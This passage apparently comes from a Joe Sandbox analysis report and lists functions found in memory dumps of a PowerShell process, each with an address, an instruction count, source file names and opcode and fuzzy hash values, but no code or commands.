                                                            Uniqueness Score: -1.00%

                                                            Function 03109400 Relevance: .1, Instructions: 69COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a87e812cd0d95cae8a9d76c85a913b407cc8c09cef8138cbe60b71e977343779
                                                            • Instruction ID: ba202bbbaf16527a7430f01626626535c24eecf4b9974143122045937b58fbbf
                                                            • Opcode Fuzzy Hash: a87e812cd0d95cae8a9d76c85a913b407cc8c09cef8138cbe60b71e977343779
                                                            • Instruction Fuzzy Hash: 55215C709057448FDB60CF6AC18838AFBF6EB89314F28C45AD44D97296C7B45481CF51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 077D197D Relevance: .1, Instructions: 68COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2259871486.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_77d0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ce485852d305f6c1566a7c70479e1454b63470f7b552bdb1a6c89dae25d65a6a
                                                            • Instruction ID: ffcd48dd96147bbda148f7ec5f70768ea37c00daac23f5c42128e7555572d60e
                                                            • Opcode Fuzzy Hash: ce485852d305f6c1566a7c70479e1454b63470f7b552bdb1a6c89dae25d65a6a
                                                            • Instruction Fuzzy Hash: 8521C6F5A0434A9FCB21CF59C540BAABBF5BF86351F4A81B6E5048B112D770DC44CBA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03107664 Relevance: .1, Instructions: 62COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 8b8afc9bb5ccb6814dcc5d9e51bbbab97b0c5ee2c872af2491b035a1dd92005c
                                                            • Instruction ID: 121a4cb92a0db1df099cc8e8e7cac3806d159d5379597552f1448ad8a2304201
                                                            • Opcode Fuzzy Hash: 8b8afc9bb5ccb6814dcc5d9e51bbbab97b0c5ee2c872af2491b035a1dd92005c
                                                            • Instruction Fuzzy Hash: 3A110775B001188FDB04DFA8E9449AD77F6EBCC365B0540A9E50AEB364DB35EC058BA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02FEF3D3 Relevance: .1, Instructions: 57COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2211959738.0000000002FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FED000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_2fed000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
                                                            • Instruction ID: 52ded0527c0c3a37d302e325e0da4a8babaaf9686d8cb61364608f08a7b697cf
                                                            • Opcode Fuzzy Hash: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
                                                            • Instruction Fuzzy Hash: B2219D76904240DFCF06CF10DAC4B16BF72FF88314F24C6A9E9494A666C33AD46ACB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310E318 Relevance: .1, Instructions: 56COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 71c3cc917327e87c40dce271a2bdbcfdb286cef2018559a50686203ad1b906ef
                                                            • Instruction ID: fde71499fe2842984d345fc98e32ea2667e07283b10fa9c37531237483467d32
                                                            • Opcode Fuzzy Hash: 71c3cc917327e87c40dce271a2bdbcfdb286cef2018559a50686203ad1b906ef
                                                            • Instruction Fuzzy Hash: 20113A718057858FDB10CF6AC504B9EBFF4AF49324F2884AED448AB292D3B99544CFA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02FEF027 Relevance: .1, Instructions: 53COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2211959738.0000000002FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FED000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_2fed000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e9867b41209b1ae96989907f61c5f808f60e730aab7477091df5884716147213
                                                            • Instruction ID: 27b52bfca8c1ae3b0f7a2baf1ad0442fe5847ba0e525f7552506e739b783ceb8
                                                            • Opcode Fuzzy Hash: e9867b41209b1ae96989907f61c5f808f60e730aab7477091df5884716147213
                                                            • Instruction Fuzzy Hash: 0211D075904280CFDB12CF14D5C4B15BF61FB44328F28C6AADA0A4BA56C33AD44ACB51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310E328 Relevance: .1, Instructions: 51COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c412ec6c79186756d8040424234c8a8e1877d7872e2ee54581be3c87b239b01a
                                                            • Instruction ID: c4b47481f49daca5a1e85e681da3a4d4905cf1fd49dce409b66e30dff21ad743
                                                            • Opcode Fuzzy Hash: c412ec6c79186756d8040424234c8a8e1877d7872e2ee54581be3c87b239b01a
                                                            • Instruction Fuzzy Hash: E5115B719007098FDB10CF6AC504B9EFFF4EB48324F28846DD408AB241D379A544CBA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310BCE0 Relevance: .1, Instructions: 51COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 47532545b2ed88bbaeda6286f4d6d79743e2c62da745f787b367b0b020f7df96
                                                            • Instruction ID: 32b5e73c79e69f1ee1dda1b4fb601a98e84fbac5867e4ad8cefab72a387824eb
                                                            • Opcode Fuzzy Hash: 47532545b2ed88bbaeda6286f4d6d79743e2c62da745f787b367b0b020f7df96
                                                            • Instruction Fuzzy Hash: 8601D6316087845FC715CB79C994656BFF4EF49250F1888EEE19AC76A2DB60E845C701
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02FEF4C7 Relevance: .0, Instructions: 50COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2211959738.0000000002FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FED000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_2fed000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4d665c26fdf2e41719453451e761cbdf10fc541dd54c629a760ea53c53009e51
                                                            • Instruction ID: c677f733d1521e112848a1653392a6d34cd8ad13d2fa18e0b8d00fba1d6f7418
                                                            • Opcode Fuzzy Hash: 4d665c26fdf2e41719453451e761cbdf10fc541dd54c629a760ea53c53009e51
                                                            • Instruction Fuzzy Hash: B4119EB59043808FDB26DF14D5C4B25BBA1FB54318F24C6AEC94A4BB52C33AD44ACB92
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310DF20 Relevance: .0, Instructions: 48COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a5d42e6c5a9a1cebc1e780cebd77e0859a4c288da3f7581f623c045b44c17736
                                                            • Instruction ID: b830f3e31dccc015060b21e0d5986a8d3f6ace164b66dc1f84368b4070c3de06
                                                            • Opcode Fuzzy Hash: a5d42e6c5a9a1cebc1e780cebd77e0859a4c288da3f7581f623c045b44c17736
                                                            • Instruction Fuzzy Hash: 97019235B01214CFCB219B74E808AAEBBF9FBC8315F04406DE50AD7782DB319911CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310DCE8 Relevance: .0, Instructions: 48COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 26e29637596e6a123e82d29b0fc68352125ff3c07189de70faee9b9ed2d0cfe0
                                                            • Instruction ID: bcde114b7f87e347e504f3a429f4d0ded9d3bebcabf2318a7863ac4caead7388
                                                            • Opcode Fuzzy Hash: 26e29637596e6a123e82d29b0fc68352125ff3c07189de70faee9b9ed2d0cfe0
                                                            • Instruction Fuzzy Hash: 3211F735204750CFC728DF75D49085ABBF6AF8921536489ADD44A8B7A1CB36E846CB50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310BF10 Relevance: .0, Instructions: 46COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 1b65a95bd362a3b358cca058b24d0c94b9a583329f4dc68ddabf0d1306ce00ac
                                                            • Instruction ID: 2bdbb4be5beef972383df11e3bf425b8be59b1c982789e00ee256564238f589e
                                                            • Opcode Fuzzy Hash: 1b65a95bd362a3b358cca058b24d0c94b9a583329f4dc68ddabf0d1306ce00ac
                                                            • Instruction Fuzzy Hash: 50F0A43530E3901FD7028ABA9C509B77FE9DF8A52170945ABF884CB262CAB4CC04C760
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02FED01D Relevance: .0, Instructions: 45COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2211959738.0000000002FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FED000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_2fed000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9a7fd452321735fe991e35df807ccd02ea3a35d7afdb5240633c6081bdecf572
                                                            • Instruction ID: 9850fc3d6dd6fcc5259e7c715373fd8f50fb5f5c8362e8b54827ca4c04a64139
                                                            • Opcode Fuzzy Hash: 9a7fd452321735fe991e35df807ccd02ea3a35d7afdb5240633c6081bdecf572
                                                            • Instruction Fuzzy Hash: 1F012B315093009AEB114A25CD84767FF9CDF41BB4F1CC429EF0A0B54AC379D841C6B1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02FED005 Relevance: .0, Instructions: 45COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2211959738.0000000002FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FED000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_2fed000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 8494d0fba4dadec2a6033203c8ee9baef8648289a1c48a2225794d1af702655a
                                                            • Instruction ID: 317fff2252cd7a249b3943c04e6ba289057057cf23f50b8a69bad34ceefb6a68
                                                            • Opcode Fuzzy Hash: 8494d0fba4dadec2a6033203c8ee9baef8648289a1c48a2225794d1af702655a
                                                            • Instruction Fuzzy Hash: 90019E7140E3C09ED7138B258894B52BFB8EF43624F1DC0DBD9888F1A7C2698849C772
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310F7C1 Relevance: .0, Instructions: 42COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ef2501d83d8f826dacee7dac7224baac4366ba982621e2d246769f505ac62c05
                                                            • Instruction ID: 5caa162623ba38c9a0fd0c5ad6ef700a3db0cd11ba8fbddf67dcf35670b4a150
                                                            • Opcode Fuzzy Hash: ef2501d83d8f826dacee7dac7224baac4366ba982621e2d246769f505ac62c05
                                                            • Instruction Fuzzy Hash: CB012571D1074A9BCB10CFE4C9446EEBBB0FF99300F244B1AE001A6A44EBB06686CB80
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03107940 Relevance: .0, Instructions: 38COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 49262426920a766b4ed750009abf67a2dc549bb03a1f6ed469b88a2c028d1b5a
                                                            • Instruction ID: eb92a882022f0ac8e01b9f5f39608606eedf30ca0d5945eda82371f0020a209c
                                                            • Opcode Fuzzy Hash: 49262426920a766b4ed750009abf67a2dc549bb03a1f6ed469b88a2c028d1b5a
                                                            • Instruction Fuzzy Hash: 03F024717042045FCB10C669E844EBFBBE6EFCD661B00456DE14ACB380CF709C058B61
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02FED9A7 Relevance: .0, Instructions: 37COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2211959738.0000000002FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FED000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_2fed000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9227ac3d56cc2999b533307c2bf7d42dddc206d7a74270abc43bcc7027dc9c35
                                                            • Instruction ID: fea818ff8125988250119c24cb40dc419340c3739ab6440937b48e6ad551dfe7
                                                            • Opcode Fuzzy Hash: 9227ac3d56cc2999b533307c2bf7d42dddc206d7a74270abc43bcc7027dc9c35
                                                            • Instruction Fuzzy Hash: 44F04976200600AF97208F0ACD85C27FBADEFD4670319C45AEC4A4B616C671EC41CEA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031090D8 Relevance: .0, Instructions: 37COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 112bb2e1170d7e95e14fdfa898b421871afecf69150bd31585b39a3d1ae1ca5c
                                                            • Instruction ID: 99166940c6c3667d226c897f04ef65d14f34c14a23b3a427f2d6d06e7720d3a7
                                                            • Opcode Fuzzy Hash: 112bb2e1170d7e95e14fdfa898b421871afecf69150bd31585b39a3d1ae1ca5c
                                                            • Instruction Fuzzy Hash: 86F0C8356092444FD7129B68D4193AB7BA2DFC1319F1481AEC54A9B6D2CE791806CFA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310DEC1 Relevance: .0, Instructions: 36COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 04bacd1226ea4792828733894da4c97d35e6949d42457820d8ab050ede2ce250
                                                            • Instruction ID: aad33ae93155f636fcccf9c858011e1497bfb0d2cc6c8bd65b93fbf2a09339f0
                                                            • Opcode Fuzzy Hash: 04bacd1226ea4792828733894da4c97d35e6949d42457820d8ab050ede2ce250
                                                            • Instruction Fuzzy Hash: 81F058393056818FC3118B6CD49486ABFF6AFCA61532901EAF485CF772CAB1DC02CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02FED998 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2211959738.0000000002FED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FED000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_2fed000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 2ce3f0d214fd2ba9fb7b6d3c47003c28c13ae27862a8a9279d48356b9d4b6048
                                                            • Instruction ID: 3a24a50c7aceaa27b81432112202839c2f7c30980c6426ae5d9141d11a752dd1
                                                            • Opcode Fuzzy Hash: 2ce3f0d214fd2ba9fb7b6d3c47003c28c13ae27862a8a9279d48356b9d4b6048
                                                            • Instruction Fuzzy Hash: D1F04976200640AFD721CF06CD85D23BBB9EB89674B298489F84A4B712C670FC42CFA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03109158 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 926eaf01f887f87293c446528e4578edea2da80b2b049ce07bc65163ba02dcc3
                                                            • Instruction ID: dac50845175c0ce5b118cab927a61af5f2e0a1db768447357cfc1dbb8fd3caee
                                                            • Opcode Fuzzy Hash: 926eaf01f887f87293c446528e4578edea2da80b2b049ce07bc65163ba02dcc3
                                                            • Instruction Fuzzy Hash: D8F09070A093448FC7228BB8D4AC39A7FF5EF42310F0404AED18ACB292C7741841CB51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310F7D0 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: df76a88a7cda3ce1d36e639e16385794fbf776e434fd20d390db40da7dfa9069
                                                            • Instruction ID: fca8262b81642c6ec362a8fc20b3adbb4009b17be5c2ae1d39f0cc4ac0e65ce6
                                                            • Opcode Fuzzy Hash: df76a88a7cda3ce1d36e639e16385794fbf776e434fd20d390db40da7dfa9069
                                                            • Instruction Fuzzy Hash: 9D01E471D1074ADBCB14CFE4C8446EEBBB5FF99300F20472AE015A6A44EBB06696CB80
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03107950 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 233c84da4de8936686505fe838853a84c767cdaff74b185c2dd9a2ca6601ed64
                                                            • Instruction ID: 73545c1c96cd9bc32e93bff168acb23db0358e4c59e13791721611d94618f48c
                                                            • Opcode Fuzzy Hash: 233c84da4de8936686505fe838853a84c767cdaff74b185c2dd9a2ca6601ed64
                                                            • Instruction Fuzzy Hash: 5DF0A0317006149FCB10DA6AE844A7FB7EAEBCD6B1B00492DE11AD7780DF71AC418BA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031090E8 Relevance: .0, Instructions: 31COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 7838e179ac519e85305428b889590f332eb70720cc4cde269b4f072651decb02
                                                            • Instruction ID: 973cb593ca6f65f11055e5fae5b44784ff61673ca0d1d3d10e33812f260828de
                                                            • Opcode Fuzzy Hash: 7838e179ac519e85305428b889590f332eb70720cc4cde269b4f072651decb02
                                                            • Instruction Fuzzy Hash: 5CF027356041048BE711AB68C0183AB779ADFC4368F10817ADA0A5B7C4DF3D2C02CBE1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310767F Relevance: .0, Instructions: 31COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 60be41dd23a88fa683f24b04ff866e4ae26ba67b49fd869bcaf9edab7d59a9cf
                                                            • Instruction ID: e8a1b200da1cd79491f0d56a5f781bac5ed0573fd1305849b214f2b46232f921
                                                            • Opcode Fuzzy Hash: 60be41dd23a88fa683f24b04ff866e4ae26ba67b49fd869bcaf9edab7d59a9cf
                                                            • Instruction Fuzzy Hash: A9F0A0757001088FDB00DFAD98409AD77A6EBCC75170A4198E50ADB3A4DF38DC024B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310DED0 Relevance: .0, Instructions: 30COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 795abacd069b81f93b1964f37ec4ec6cf2f84a9d06abc29872d5c318d2e53ee7
                                                            • Instruction ID: 5260e25f6943b1515c73a8d438892b2d85873a16e5bb5db9a05310d9119dbb65
                                                            • Opcode Fuzzy Hash: 795abacd069b81f93b1964f37ec4ec6cf2f84a9d06abc29872d5c318d2e53ee7
                                                            • Instruction Fuzzy Hash: 5EE0E5393105118F8610DB5DE498C26BBEAEFCE66532940AAF549DB375DBA1EC018B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310DD60 Relevance: .0, Instructions: 29COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 54f6521b864310a99a59ddab6d7bb76a86d72d1cf2f5e3eba67cea8f57990c68
                                                            • Instruction ID: 303a44fab024810ca455f9b24a3f10a24e4fbfe754a93b57add83ee285624366
                                                            • Opcode Fuzzy Hash: 54f6521b864310a99a59ddab6d7bb76a86d72d1cf2f5e3eba67cea8f57990c68
                                                            • Instruction Fuzzy Hash: 8BE02B35B055809BC719C7ECE4404EABF71DFCC222F0485BED4469B751CA715916C7A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03109542 Relevance: .0, Instructions: 28COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 2e2939585ab1a6938c86b85122693c8ed66dd036289637590d9c1a97ffdb3d2d
                                                            • Instruction ID: dc59927eacdeeeb926bc8747c4df306ca7538ce9033a8ab26e3297505f6a8c98
                                                            • Opcode Fuzzy Hash: 2e2939585ab1a6938c86b85122693c8ed66dd036289637590d9c1a97ffdb3d2d
                                                            • Instruction Fuzzy Hash: CEE09A3530A2920B8756E2FE58605BBAE994ECA16830900BFC845CF2E3DA808801C3A6
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310896A Relevance: .0, Instructions: 28COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9af8d685c832204bba1684746dafcfde20c87ebbd27e02365c1dcf3435e8a6d1
                                                            • Instruction ID: 87883fc65aafa6da3cf61bf3f85f20bb51c1769d02f2112f0e3bf3bf72a395e5
                                                            • Opcode Fuzzy Hash: 9af8d685c832204bba1684746dafcfde20c87ebbd27e02365c1dcf3435e8a6d1
                                                            • Instruction Fuzzy Hash: 66F0A7343093908BCB16677498181AE3F7A9FC5314F0400AED5068B683CE740905C7D5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310AF88 Relevance: .0, Instructions: 26COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 36e5a2ce4d7ed2986e3ecfa777658c70598807d9b15214947f1a49087a659357
                                                            • Instruction ID: df9f229f92d8be1e29d779449b05901d33b50ccb1582850cb651b4ee6c92f0f8
                                                            • Opcode Fuzzy Hash: 36e5a2ce4d7ed2986e3ecfa777658c70598807d9b15214947f1a49087a659357
                                                            • Instruction Fuzzy Hash: D5E0862570D3D10B8B17D13D646046A5FA64ECB12531D81FED484CF653C9918C068351
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03109168 Relevance: .0, Instructions: 25COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
